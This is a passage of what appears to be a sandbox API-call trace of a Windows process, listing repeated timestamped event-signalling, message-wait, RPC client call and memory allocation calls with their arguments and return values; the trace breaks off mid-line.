[0149.678] SetEvent (hEvent=0x174) returned 1 [0149.678] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.680] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.680] CoTaskMemFree (pv=0x3c20c0) [0149.681] SetEvent (hEvent=0x174) returned 1 [0149.681] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.687] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.687] CoTaskMemFree (pv=0x3c22d0) [0149.687] SetEvent (hEvent=0x174) returned 1 [0149.687] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.688] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.688] CoTaskMemFree (pv=0x3c20c0) [0149.688] SetEvent (hEvent=0x174) returned 1 [0149.688] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.689] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.690] CoTaskMemFree (pv=0x372330) [0149.690] SetEvent (hEvent=0x174) returned 1 [0149.690] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.693] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.694] CoTaskMemFree (pv=0x3c5cd0) [0149.694] SetEvent (hEvent=0x174) returned 1 [0149.694] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.695] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.696] CoTaskMemFree (pv=0x3c0630) [0149.696] SetEvent (hEvent=0x174) returned 1 [0149.696] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.707] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.708] CoTaskMemFree (pv=0x360380) [0149.708] SetEvent (hEvent=0x174) returned 1 [0149.708] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.708] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.710] CoTaskMemFree (pv=0x3c20c0) [0149.710] SetEvent (hEvent=0x174) returned 1 [0149.710] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.710] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.711] CoTaskMemFree (pv=0x3c20c0) [0149.711] SetEvent (hEvent=0x174) returned 1 [0149.711] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.745] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.746] CoTaskMemFree (pv=0x360380) [0149.746] SetEvent (hEvent=0x174) returned 1 [0149.746] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.749] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.749] CoTaskMemFree (pv=0x380310) [0149.749] SetEvent (hEvent=0x174) returned 1 [0149.749] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.750] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.751] CoTaskMemFree (pv=0x3c07b0) [0149.751] SetEvent (hEvent=0x174) returned 1 [0149.751] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.755] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.756] CoTaskMemFree (pv=0x3c0630) [0149.756] SetEvent (hEvent=0x174) returned 1 [0149.756] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.757] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.757] CoTaskMemFree (pv=0x3c22d0) [0149.757] SetEvent (hEvent=0x174) returned 1 [0149.757] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.757] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.758] CoTaskMemFree (pv=0x3c22d0) [0149.758] SetEvent (hEvent=0x174) returned 1 [0149.758] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.759] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.759] CoTaskMemFree (pv=0x3c22d0) [0149.759] SetEvent (hEvent=0x174) returned 1 [0149.759] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.760] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.761] CoTaskMemFree (pv=0x3c22d0) [0149.761] SetEvent (hEvent=0x174) returned 1 [0149.761] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.761] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.761] CoTaskMemFree (pv=0x3c22d0) [0149.761] SetEvent (hEvent=0x174) returned 1 [0149.762] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.767] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.767] CoTaskMemFree (pv=0x3c20c0) [0149.767] SetEvent (hEvent=0x174) returned 1 [0149.767] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.768] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.769] CoTaskMemFree (pv=0x3c20c0) [0149.769] SetEvent (hEvent=0x174) returned 1 [0149.769] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.772] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.773] CoTaskMemFree (pv=0x3c20c0) [0149.773] SetEvent (hEvent=0x174) returned 1 [0149.773] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.774] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.775] CoTaskMemFree (pv=0x360290) [0149.775] SetEvent (hEvent=0x174) returned 1 [0149.775] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.778] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.778] CoTaskMemFree (pv=0x2af2fd0) [0149.778] SetEvent (hEvent=0x174) returned 1 [0149.778] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.779] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.780] CoTaskMemFree (pv=0x3c07b0) [0149.780] SetEvent (hEvent=0x174) returned 1 [0149.780] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.879] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.882] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.891] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.894] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.895] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.900] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.901] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.905] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.921] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0150.092] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0150.247] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.377] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.390] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.395] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.398] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.400] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.403] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.406] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.412] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.417] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.464] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.478] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.496] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.514] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.529] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.543] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.559] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.576] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.591] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.601] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.615] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.632] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.644] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.656] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.659] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0150.664] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0151.754] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0152.530] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0154.958] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0155.158] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0156.389] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0156.697] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0156.850] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0157.007] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0157.061] CoTaskMemAlloc (cb=0x36) returned 0x3c07f0 [0157.061] memcpy (in: _Dst=0x3c07f0, _Src=0x335b40, _Size=0x36 | out: _Dst=0x3c07f0) returned 0x3c07f0 [0157.061] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0157.068] CoTaskMemFree (pv=0x3c07f0) [0157.068] SetEvent (hEvent=0x174) returned 1 [0157.068] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0157.080] CoTaskMemAlloc (cb=0x2e) returned 0x3c0df0 [0157.080] memcpy (in: _Dst=0x3c0df0, _Src=0x335b40, _Size=0x2e | out: _Dst=0x3c0df0) returned 0x3c0df0 [0157.081] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0157.082] CoTaskMemFree (pv=0x3c0df0) [0157.082] SetEvent (hEvent=0x174) returned 1 [0157.082] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0157.256] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0157.263] CoTaskMemAlloc (cb=0x3c) returned 0x372240 [0157.263] memcpy (in: _Dst=0x372240, _Src=0x335b40, _Size=0x3c | out: _Dst=0x372240) returned 0x372240 [0157.263] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0157.265] CoTaskMemFree (pv=0x372240) [0157.265] SetEvent (hEvent=0x174) returned 1 [0157.265] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0157.268] CoTaskMemAlloc (cb=0x25) returned 0x35ae80 [0157.268] memcpy (in: _Dst=0x35ae80, _Src=0x335b40, _Size=0x25 | out: _Dst=0x35ae80) returned 0x35ae80 [0157.268] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0157.269] CoTaskMemFree (pv=0x35ae80) [0157.270] SetEvent (hEvent=0x174) returned 1 [0157.270] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0157.570] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0157.794] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0158.724] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0158.894] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0159.033] CoTaskMemAlloc (cb=0x1d) returned 0x35ae80 [0159.033] memcpy (in: _Dst=0x35ae80, _Src=0x335b40, _Size=0x1d | out: _Dst=0x35ae80) returned 0x35ae80 [0159.033] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0159.037] CoTaskMemFree (pv=0x35ae80) [0159.037] SetEvent (hEvent=0x174) returned 1 [0159.037] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0159.461] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0159.601] CoTaskMemAlloc (cb=0x29) returned 0x3c07f0 [0159.601] memcpy (in: _Dst=0x3c07f0, _Src=0x335b40, _Size=0x29 | out: _Dst=0x3c07f0) returned 0x3c07f0 [0159.601] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0159.603] CoTaskMemFree (pv=0x3c07f0) [0159.603] SetEvent (hEvent=0x174) returned 1 [0159.603] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0159.610] CoTaskMemAlloc (cb=0x2f) returned 0x3c0df0 [0159.610] memcpy (in: _Dst=0x3c0df0, _Src=0x335b40, _Size=0x2f | out: _Dst=0x3c0df0) returned 0x3c0df0 [0159.610] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0159.611] CoTaskMemFree (pv=0x3c0df0) [0159.611] SetEvent (hEvent=0x174) returned 1 [0159.611] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0159.618] CoTaskMemAlloc (cb=0x2d) returned 0x3c07f0 [0159.618] memcpy (in: _Dst=0x3c07f0, _Src=0x335b40, _Size=0x2d | out: _Dst=0x3c07f0) returned 0x3c07f0 [0159.618] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0159.619] CoTaskMemFree (pv=0x3c07f0) [0159.619] SetEvent (hEvent=0x174) returned 1 [0159.619] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0159.626] CoTaskMemAlloc (cb=0x3b) returned 0x372240 [0159.626] memcpy (in: _Dst=0x372240, _Src=0x335b40, _Size=0x3b | out: _Dst=0x372240) returned 0x372240 [0159.626] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0159.627] CoTaskMemFree (pv=0x372240) [0159.627] SetEvent (hEvent=0x174) returned 1 [0159.627] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0159.673] CoTaskMemAlloc (cb=0x27) returned 0x35ae80 [0159.673] memcpy (in: _Dst=0x35ae80, _Src=0x335b40, _Size=0x27 | out: _Dst=0x35ae80) returned 0x35ae80 [0159.673] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0159.721] CoTaskMemFree (pv=0x35ae80) [0159.721] SetEvent (hEvent=0x174) returned 1 [0159.721] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0160.360] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0160.547] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0160.972] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0161.453] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0162.094] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0162.699] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0163.004] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0163.218] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0163.429] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0163.727] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0163.908] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0164.135] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0164.603] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0164.784] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0165.060] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0165.330] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0165.531] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0165.801] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0165.976] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0166.168] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0166.937] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0167.225] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0167.434] MsgWaitForMultipleObjects 